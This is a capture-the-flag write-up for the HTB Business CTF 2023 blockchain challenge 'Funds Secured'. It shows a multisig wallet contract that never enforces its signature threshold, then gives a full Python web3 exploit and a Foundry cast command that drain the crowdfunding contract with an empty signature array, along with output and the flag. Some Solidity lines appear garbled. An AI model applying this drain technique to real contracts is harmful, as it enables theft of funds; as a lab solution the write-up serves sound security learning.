Funds Secured
Challenge
- CTF: HTB Business CTF 2023: The Great Escape
- Name: Funds Secured
- Category: Blockchain
- Difficulty: Easy
- Points: 1000
- Description: In Arodor, a state-of-the-art crowdfunding program fueled groundbreaking research. Powered by a smart contract, the program aimed to raise funds. Overseeing this campaign was a council board, responsible for finalizing the program through a multi-signature wallet scheme. Your goal is to exploit the contract and steal the funds, posing a threat to Arodor’s noble scientific mission..
Files
Download: blockchain_funds_secured.zip Campaign.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;
import {ECDSA} from "./lib/ECDSA.sol";
/// @notice MultiSignature wallet used to end the Crowdfunding and transfer the funds to a desired address
contract CouncilWallet {
using ECDSA for bytes32;
address[] public councilMembers;
/// @notice Register the 11 council members in the wallet
constructor(address[] memory members) {
require(members.length == 11);
councilMembers = members;
}
/// @notice Function to close crowdfunding campaign. If at least 6 council members have signed, it ends the campaign and transfers the funds to `to` address
function closeCampaign(bytes[] memory signatures, address to, address payable crowdfundingContract) public {
address[6](6);
bytes32 data = keccak256(abi.encode(to));
for (uint256 i = 0; i < signatures.length; i++) {
// Get signer address
address signer = data.toEthSignedMessageHash().recover(signatures[i]);
// Ensure that signer is part of Council and has not already signed
require(signer != address(0), "Invalid signature");
require(_contains(councilMembers, signer), "Not council member");
require(!_contains(voters, signer), "Duplicate signature");
// Keep track of addresses that have already signed
voters[i] = signer;
// 6 signatures are enough to proceed with `closeCampaign` execution
if (i > 5) {
break;
}
}
Crowdfunding(crowdfundingContract).closeCampaign(to);
}
/// @notice Returns `true` if the `_address` exists in the address array `_array`, `false` otherwise
function _contains(address[] memory _array, address _address) private pure returns (bool) {
for (uint256 i = 0; i < _array.length; i++) {
if (_array[i] == _address) {
return true;
}
}
return false;
}
}
contract Crowdfunding {
address owner;
uint256 public constant TARGET_FUNDS = 1000 ether;
constructor(address _multisigWallet) {
owner = _multisigWallet;
}
receive() external payable {}
function donate() external payable {}
/// @notice Delete contract and transfer funds to specified address. Can only be called by owner
function closeCampaign(address to) public {
require(msg.sender == owner, "Only owner");
selfdestruct(payable(to));
}
}
Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;
import {Crowdfunding} from "./Campaign.sol";
import {CouncilWallet} from "./Campaign.sol";
contract Setup {
Crowdfunding public immutable TARGET;
CouncilWallet public immutable WALLET;
constructor() payable {
// Generate the councilMember array
// which contains the addresses of the council members that control the multi sig wallet.
address[11](11);
for (uint256 i = 0; i < 11; i++) {
councilMembers[i] = address(uint160(i));
}
WALLET = new CouncilWallet(councilMembers);
TARGET = new Crowdfunding(address(WALLET));
// Transfer enough funds to reach the campaing's goal.
(bool success,) = address(TARGET).call{value: 1100 ether}("");
require(success, "Transfer failed");
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
Synopsis
The following code leverages the Web3 Python3 package to communicate with the blockchain and facilitate the exchange of smart contracts. The Campaign.sol
contract is a crucial component and contains a closeCampaign()
function. When this function is invoked with an empty signatures
array (i.e. []
) the Crowdfunding.closeCampaign()
function is called to redirect all funding to any desired wallet. This will lead to the successful completion of the challenge.
Python Solution Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/env python3
# Imports
from web3 import Web3
from solcx import compile_files
from pwn import *
# Connection settings
provider_address = "http://94.237.62.195:39218"
url = '94.237.62.195'
port = 49645
def launch_instance():
info('Launch instance...')
r = remote(url, port)
r.sendlineafter(b'action? ', b'1')
r.recvuntil(b'Private key : ')
private_key = r.recvline().strip().decode()
r.recvuntil(b'Address : ')
player_wallet_address = r.recvline().strip().decode()
r.recvuntil(b'Crowdfunding contract : ')
crowdfunding_contract_address = r.recvline().strip().decode()
r.recvuntil(b'Wallet contract : ')
wallet_contract_address = r.recvline().strip().decode()
r.recvuntil(b'Setup contract : ')
setup_contract_address = r.recvline().strip().decode()
r.close()
info(f'private_key : {private_key}')
info(f'wallet_address : {player_wallet_address}')
info(f'crowdfunding_contract_address : {crowdfunding_contract_address}')
info(f'wallet_contract_address : {wallet_contract_address}')
info(f'setup_contract_address : {setup_contract_address}')
return private_key, player_wallet_address, crowdfunding_contract_address, wallet_contract_address, setup_contract_address
def kill_instance():
info('Kill instance...')
r = remote(url, port)
r.sendlineafter(b'action? ', b'2')
r.close()
def get_flag():
info('Get Flag...')
r = remote(url, port)
r.sendlineafter(b'action? ', b'3')
flag = r.readrepeat(1)
r.close()
return flag
# Launch instance
private_key = ''
player_wallet_address = ''
crowdfunding_contract_address = ''
wallet_contract_address = ''
setup_contract_address = ''
if private_key == '':
private_key, player_wallet_address, crowdfunding_contract_address, wallet_contract_address, setup_contract_address = launch_instance()
# Connect to the network
w3 = Web3(Web3.HTTPProvider(provider_address))
assert w3.is_connected()
# Load the private key
player = w3.eth.account.from_key(private_key)
player_wallet_address = player.address
player_balance = w3.eth.get_balance(player_wallet_address)
info(f'Player Address : {player_wallet_address}')
info(f'Player Balance : {player_balance} wei')
# Compile the contracts from files
current_dir = os.path.dirname(os.path.abspath(__file__))
campaign_contract_filename = os.path.join(current_dir, "Campaign.sol")
setup_contract_filename = os.path.join(current_dir, "Setup.sol")
compiled_contracts = compile_files(
[campaign_contract_filename, setup_contract_filename], solc_version="0.8.18", output_values=["bin", "abi"])
# Get the contract interfaces
keys = compiled_contracts.keys()
wallet_contract_interface = compiled_contracts[next((key for key in keys if key.endswith(":CouncilWallet")), None)]
crowdfunding_contract_interface = compiled_contracts[next((key for key in keys if key.endswith(":Crowdfunding")), None)]
setup_contract_interface = compiled_contracts[next((key for key in keys if key.endswith(":Setup")), None)]
# Create a contract instance for the deployed contracts
setup_contract_instance = w3.eth.contract(
address=setup_contract_address, abi=setup_contract_interface['abi'], bytecode=setup_contract_interface['bin'])
wallet_contract_instance = w3.eth.contract(
address=wallet_contract_address, abi=wallet_contract_interface['abi'], bytecode=wallet_contract_interface['bin'])
crowdfunding_contract_instance = w3.eth.contract(
address=crowdfunding_contract_address, abi=crowdfunding_contract_interface['abi'], bytecode=crowdfunding_contract_interface['bin'])
# Generate dummy signatures
dummy_signatures = []
# Submit the transaction to call `closeCampaign()` function
call_function = wallet_contract_instance.functions.closeCampaign([], player_wallet_address, crowdfunding_contract_address).build_transaction(
{"chainId": w3.eth.chain_id, "nonce": w3.eth.get_transaction_count(player_wallet_address), "from": player_wallet_address})
signed_tx = w3.eth.account.sign_transaction(
call_function, private_key=private_key)
send_tx = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(send_tx)
# Call the `isSolved()` function to retrieve the value of the flag
assert setup_contract_instance.functions.isSolved().call()
out = get_flag()
success(out.decode())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ python3 fundsecured.py
[*] Launch instance...
[+] Opening connection to 94.237.62.195 on port 49645: Done
[*] Closed connection to 94.237.62.195 port 49645
[*] private_key : 0x2ccfdef9a7690d37898afadeb5ee5fd4b9135a9272b32d7ee3de543bd91de42e
[*] wallet_address : 0x325331761bF13B19A3E830F7BBaD88AA1d098386
[*] crowdfunding_contract_address : 0xEa2b7FF8de4B0b33Aa6A0DDa15a557aF806eeA35
[*] wallet_contract_address : 0x5893e400a23582F1283E096bE77043D4714d5E53
[*] setup_contract_address : 0xCb2421b47AAFA7C0e78445afda70679d0e440013
[*] Player Address : 0x325331761bF13B19A3E830F7BBaD88AA1d098386
[*] Player Balance : 5000000000000000000000 wei
[*] Get Flag...
[+] Opening connection to 94.237.62.195 on port 49645: Done
[*] Closed connection to 94.237.62.195 port 49645
[+] HTB{1_5h0u1d'v3_v411d473d_7h3_4224y}
Flag: HTB{1_5h0u1d'v3_v411d473d_7h3_4224y}
Foundry-RS Solution
Another method to solve this challenge is to use Foundry-RS. Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.
Send transaction via Foundry-RS(cast)
1
$ cast send --rpc-url=<RPC_URL> --private-key=<PRIVATE_KEY> <ENTRANT_CONTRACT_ADDRESS> "<FUNCTION_SIGNATURE>" <ARGUMENTS>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ cast send --rpc-url=http://94.237.62.195:39218 --private-key 0x8d09a3c03e06228055cfc8ebb9bb23e65ac11e00e7ffd9dd58221063418b1fa3 0xb949eC84Fb76c7b375e879F978d5cA6a23f4A986 'closeCampaign(bytes[], address, address)' '[]' 0x76776d3466701c9e219F67FfdDF2559bB10e63fE 0xd5052763f2aAD46B62626106C625aF333E8ec6A1
blockHash 0x843085dbbb5bdc6012a2a04b6807255f72e65d45ff976d5fff664204c9a40346
blockNumber 2
contractAddress
cumulativeGasUsed 33416
effectiveGasPrice 3000000000
gasUsed 33416
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0x05aea269c38da078a0b1884907ee2c83fc89562b98da71e169f26b4f9c96447e
transactionIndex 0
type 2
1
2
3
4
5
6
$ nc 83.136.254.139 42228
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{1_5h0u1d'v3_v411d473d_7h3_4224y}
Flag: HTB{1_5h0u1d'v3_v411d473d_7h3_4224y}